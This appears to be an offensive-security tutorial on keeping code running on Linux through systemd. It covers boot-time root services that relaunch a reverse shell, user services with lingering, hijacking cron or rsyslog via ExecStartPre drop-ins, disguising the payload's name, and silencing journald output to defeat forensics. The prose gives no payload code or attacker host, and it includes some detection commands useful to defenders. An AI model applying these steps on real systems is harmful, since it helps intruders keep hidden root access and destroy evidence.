Linux Systemd Service Persistence
A systemd service configured to start on boot gives persistent code execution that runs before any user logs in, as root, and restarts automatically on failure. It blends in with the hundreds of legitimate services on any modern Linux system and is not visible in crontab listings. The unit file sits in /etc/systemd/system/ and loads after systemctl daemon-reload. Defenders reviewing running processes see the payload binary path, not the service name. Naming the script to resemble system utilities reduces the chance of immediate suspicion. Logs go to journald by default. Evidence of each start and restart appears in journalctl output even after the payload exits.
Key properties of systemd service persistence:
- Runs as root before any user logs in
- Restarts automatically on failure via
Restart=always - Hidden from
crontab -llistings - Blends in with hundreds of legitimate services
- Survives reboots without additional configuration
Create a persistent systemd service
After systemctl start, check the status output immediately. An active (running) state confirms the payload launched. A failed state means the ExecStart path is wrong or the script is not executable. An activating state usually means the shell exits immediately before establishing the connection. Run journalctl -u sysupdate.service -n 30 to get the exact error. Restart=always with RestartSec=30 means the service restarts 30 seconds after it exits or is killed. This makes the persistence resilient against the payload crashing or being terminated manually. Use After=network.target to ensure network connectivity is available before the payload runs. On systems without outbound TCP, the reverse shell exits immediately. Systemd then cycles through restart loops, logging each attempt to journald. To suppress that logging, add StandardOutput=null and StandardError=null to the [Service] section. This prevents forensic tools from pulling the connection history from journal logs.
User-level systemd services
User-level services run under a specific user's systemd instance without requiring root. They persist as long as the user account exists. They start when the user logs in, or at boot with lingering enabled. Lingering makes the user's systemd instance start at boot even without an active login session. Without lingering, the service only activates after the user logs in interactively. Verify lingering status with loginctl show-user $USER | grep Linger. If the target user never logs in interactively, lingering is required for boot persistence.
Hijack an existing service
Instead of creating a new service, hijack an existing one. Adding an ExecStartPre directive runs your payload alongside a legitimate service. This is harder to detect than an unknown service name. Choose a service that is enabled and starts on boot but is not business-critical. cron, rsyslog, or atd run on most systems and attract little scrutiny. ExecStartPre runs the specified command before the main service binary starts. If you omit the leading dash, a failure in the pre-command blocks the main service from starting. Use ExecStartPre=-/path/to/script to ensure the main service starts regardless of the payload exit code.
Drop-in files in /etc/systemd/system/servicename.service.d/ override or extend the original unit without touching it. The original service file stays clean, but the drop-in directory reveals the modification. During a blue team review, systemctl cat cron.service shows the merged effective configuration including any drop-ins. Running find /etc/systemd/system/ -name '*.conf' exposes all override files on the system. The drop-in directory name must exactly match the service unit filename including the .service suffix. A typo silently fails: the override never applies and the payload never runs. Verify the override loaded with systemctl show cron --property=ExecStartPre before relying on it.
Cleaning up
After removing the service files, run systemctl daemon-reload to clear the stale unit cache. Skipping daemon-reload leaves the service listed in systemctl list-unit-files output even after the file is deleted. For user services, reload the user daemon separately with systemctl --user daemon-reload.